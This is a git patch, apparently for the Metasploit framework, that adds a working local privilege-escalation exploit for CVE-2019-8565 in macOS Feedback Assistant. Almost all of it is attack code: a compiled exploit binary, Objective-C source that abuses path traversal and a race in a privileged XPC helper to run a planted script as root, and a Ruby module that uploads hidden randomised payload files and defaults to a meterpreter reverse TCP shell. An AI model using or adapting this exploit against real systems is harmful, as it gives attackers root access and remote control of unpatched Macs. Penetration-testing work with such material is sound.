From be1d185a04af47a6cb5c02b7f46256849097d5ae Mon Sep 17 00:00:00 2001 From: Tim W Date: Tue, 7 May 2019 04:22:39 +0800 Subject: [PATCH] Add CVE-2019-8565 OSX Feedback Assistant local root exploit --- data/exploits/CVE-2019-8565/exploit | Bin 0 -> 20168 bytes .../source/exploits/CVE-2019-8565/Makefile | 19 ++ .../source/exploits/CVE-2019-8565/exploit.m | 210 ++++++++++++++++++ .../osx/local/feedback_assistant_root.rb | 100 +++++++++ 4 files changed, 329 insertions(+) create mode 100755 data/exploits/CVE-2019-8565/exploit create mode 100644 external/source/exploits/CVE-2019-8565/Makefile create mode 100644 external/source/exploits/CVE-2019-8565/exploit.m create mode 100644 modules/exploits/osx/local/feedback_assistant_root.rb diff --git a/data/exploits/CVE-2019-8565/exploit b/data/exploits/CVE-2019-8565/exploit new file mode 100755 index 0000000000000000000000000000000000000000..76b55079ea894ac573956b4b9b72fa3ba853a09e GIT binary patch literal 20168 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 + +#include +#include +#include + +#define USR_LOCAL_BIN "/usr/local/bin" +#define BINARY "/System/Library/CoreServices/Applications/Feedback Assistant.app/Contents/MacOS/Feedback Assistant" + +#define MOBILITY_SCRIPT \ + "/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/Resources/get-mobility-info" +#define NOTIFY_NAME "me.chichou.fbaroot" + +#define LOG(fmt, ...) NSLog(@"[LightYear] " fmt "\n", ##__VA_ARGS__) + +char payload_cmd[1024] = "ROOT_PAYLOAD_PLACEHOLDER"; + +#define SHELL_TEMPLATE \ + @"#!/bin/sh\n" \ + "%@\n" \ + "%@\n" \ + "rm -- \"$0\"\n" + +@protocol FBAPrivilegedDaemon +- (void)copyLogFiles:(NSDictionary *)mapping; +- (void)runMobilityReportWithDestination:(NSURL *)dest; +@end + +extern char **environ; + +void child(const char *path, int stage) { + NSDictionary *transformed = [[NSDictionary alloc] initWithContentsOfFile:[NSString stringWithUTF8String:path]]; + NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"com.apple.appleseed.fbahelperd" + options:NSXPCConnectionPrivileged]; + connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(FBAPrivilegedDaemon)]; + [connection resume]; + id remote = connection.remoteObjectProxy; + if (stage == 1) + [remote copyLogFiles:[NSDictionary dictionaryWithDictionary:transformed]]; + + else if (stage == 2) + [remote runMobilityReportWithDestination:[NSURL fileURLWithPath:@"/tmp/whatever.mdsdiagnostic"]]; + + char target_binary[] = BINARY; + char *target_argv[] = {target_binary, NULL}; + posix_spawnattr_t attr; + posix_spawnattr_init(&attr); + short flags; + posix_spawnattr_getflags(&attr, &flags); + flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED); + posix_spawnattr_setflags(&attr, flags); + posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ); +} + +NSString *relative(NSString *component) { + return [[[NSBundle mainBundle] bundlePath] stringByAppendingPathComponent:component]; +} + +NSMutableDictionary *traversal(NSDictionary *mapping) { + NSMutableDictionary *transformed = [[NSMutableDictionary alloc] init]; + for (NSString *key in mapping) { + NSString *val = mapping[key]; + NSString *newKey = [@"/var/log/../../.." stringByAppendingPathComponent:key]; + NSString *newVal = [@"/tmp/../.." stringByAppendingPathComponent:val]; + transformed[newKey] = newVal; + } + return transformed; +} + +NSDictionary *prepare() { + NSError *err = nil; + NSFileManager *mgr = [NSFileManager defaultManager]; + NSString *guid = [[NSProcessInfo processInfo] globallyUniqueString]; + NSString *cwd = [NSTemporaryDirectory() stringByAppendingPathComponent:guid]; + [mgr removeItemAtPath:cwd error:nil]; + + NSString *fakebin = [cwd stringByAppendingPathComponent:@"bin"]; + [mgr createDirectoryAtPath:fakebin withIntermediateDirectories:YES attributes:nil error:&err]; + + // argument for copyLogFiles: + NSMutableDictionary *mapping = [[NSMutableDictionary alloc] init]; + + // write launcher + NSString *launcher = [fakebin stringByAppendingPathComponent:@"root.sh"]; + + NSString *payload = [NSString stringWithCString:payload_cmd encoding:NSASCIIStringEncoding]; + NSString *exec = [[NSBundle mainBundle] executablePath]; + NSString *sh = [NSString stringWithFormat:SHELL_TEMPLATE, exec, payload]; + [sh writeToFile:launcher atomically:NO encoding:NSUTF8StringEncoding error:&err]; + // LOG(@"%@\n%@", sh, err); + + // find /usr/local/bin/* + NSString *mobility = [NSString stringWithContentsOfFile:@MOBILITY_SCRIPT encoding:NSUTF8StringEncoding error:&err]; + NSRegularExpression *regex = [NSRegularExpression regularExpressionWithPattern:@"if \\[ -x /usr/local/bin/(\\w+)" + options:NSRegularExpressionCaseInsensitive + error:&err]; + NSTextCheckingResult *match = [regex firstMatchInString:mobility options:0 range:NSMakeRange(0, [mobility length])]; + if (!match) { + LOG("Fatal error: this exploit may not work on your system."); + return nil; + } + + NSString *privileged = [mobility substringWithRange:[match rangeAtIndex:1]]; + NSString *canary = [@USR_LOCAL_BIN stringByAppendingPathComponent:privileged]; + + LOG("canary: %@", canary); + + BOOL isDir = NO; + BOOL doesBrewExists = [mgr fileExistsAtPath:@USR_LOCAL_BIN isDirectory:&isDir]; + if (doesBrewExists && isDir) { + mapping[launcher] = canary; + } else { + mapping[fakebin] = @USR_LOCAL_BIN; + } + + NSString *session = [cwd stringByAppendingPathComponent:@"task.plist"]; + NSDictionary *transformed = traversal(mapping); + [transformed writeToFile:session atomically:NO]; + LOG("dictionary: %@", transformed); + return @{@"session" : session, @"canary" : canary}; +} + +#define RACE_COUNT 16 + +#define SPAWN_CHILDREN(stage) \ + for (int i = 0; i < RACE_COUNT; i++) \ + processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ session, @ #stage ]]; + +#define TERMINATE_CHILDREN \ + for (int i = 0; i < RACE_COUNT; i++) \ + [processes[i] terminate]; + +int exploit(NSString *session, const char *canary) { + int status = 0; + NSString *exec = [[NSBundle mainBundle] executablePath]; + NSTask *processes[RACE_COUNT]; + + LOG("Now race"); + SPAWN_CHILDREN(1); + + int i = 0; + struct timespec ts = { + .tv_sec = 0, + .tv_nsec = 500 * 1000000, + }; + + while (access(canary, F_OK) == -1) { + nanosleep(&ts, NULL); + if (++i > 4) { // wait for 2 seconds at most + LOG("Stage 1 timed out, retry"); + status = -1; + goto cleanup; + } + } + + chmod(canary, 0777); + + LOG("Stage 1 succeed"); + dispatch_semaphore_t semaphore = dispatch_semaphore_create(0); + int token; + notify_register_dispatch(NOTIFY_NAME, &token, dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), + ^(int token) { + LOG("It works!"); + dispatch_semaphore_signal(semaphore); + notify_cancel(token); + }); + SPAWN_CHILDREN(2); + + // wait for 2s + dispatch_time_t timeout = dispatch_time(DISPATCH_TIME_NOW, 2.0 * NSEC_PER_SEC); + status = dispatch_semaphore_wait(semaphore, timeout); + if (status != 0) + LOG("Timed out"); + +cleanup: + TERMINATE_CHILDREN + return status; +} + +int root() { + notify_post(NOTIFY_NAME); + LOG("I am groot (euid: %d)", geteuid()); + LOG("bye"); + return 0; +} + +int main(int argc, char *argv[]) { + @autoreleasepool { + if (geteuid()) { + if (argc == 3) { + child(argv[1], atoi(argv[2])); + return 0; + } + + NSDictionary *ctx = prepare(); + if (!ctx) + return 1; + + for (int i = 0; i < 3; i++) { + if (exploit(ctx[@"session"], [ctx[@"canary"] UTF8String]) == 0) + return 0; + } + + LOG("all tries failed"); + return 1; + } else { + return root(); + } + } +} \ No newline at end of file diff --git a/modules/exploits/osx/local/feedback_assistant_root.rb b/modules/exploits/osx/local/feedback_assistant_root.rb new file mode 100644 index 0000000000..5ac0d3eba9 --- /dev/null +++ b/modules/exploits/osx/local/feedback_assistant_root.rb @@ -0,0 +1,100 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::OSX::Priv + include Msf::Post::OSX::System + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Mac OS X Feedback Assistant race condition', + 'Description' => %q{ + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'CodeColorist', # Discovery and exploit + 'timwr', # Metasploit module + ], + 'References' => [ + ['CVE', '2019-8565'], + ['URL', 'https://medium.com/0xcc/rootpipe-reborn-part-ii-e5a1ffff6afe'], + ['URL', 'https://support.apple.com/en-in/HT209600'], + ['URL', 'https://github.com/ChiChou/sploits'], + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' }, + 'Targets' => [ + [ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ], + [ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ], + [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ], + ], + 'DisclosureDate' => 'Apr 13 2019')) + register_advanced_options [ + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + ] + end + + def upload_executable_file(filepath, filedata) + print_status("Uploading file: '#{filepath}'") + write_file(filepath, filedata) + chmod(filepath) + register_file_for_cleanup(filepath) + end + + def check + version = Gem::Version.new(get_system_version) + if version >= Gem::Version.new('10.14.4') + CheckCode::Safe + else + CheckCode::Appears + end + end + + def exploit + if check != CheckCode::Appears + fail_with Failure::NotVulnerable, 'Target is not vulnerable' + end + + if is_root? + fail_with Failure::BadConfig, 'Session already has root privileges' + end + + unless writable? datastore['WritableDir'] + fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" + end + + if target['Arch'] == ARCH_X64 + payload_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}" + binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) + upload_executable_file(payload_file, binary_payload) + root_cmd = payload_file + else + root_cmd = payload.raw + if target['Arch'] == ARCH_PYTHON + root_cmd = "echo \"#{root_cmd}\" | python" + end + end + root_cmd = root_cmd + " & \0" + if root_cmd.length > 1024 + fail_with Failure::PayloadFailed, "Payload size (#{root_cmd.length}) exceeds space in payload placeholder" + end + + exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2019-8565", "exploit" )) + placeholder_index = exploit_data.index('ROOT_PAYLOAD_PLACEHOLDER') + exploit_data[placeholder_index, root_cmd.length] = root_cmd + + exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}" + upload_executable_file(exploit_file, exploit_data) + + print_status("Executing exploit '#{exploit_file}'") + result = cmd_exec(exploit_file) + print_status("Exploit result:\n#{result}") + end +end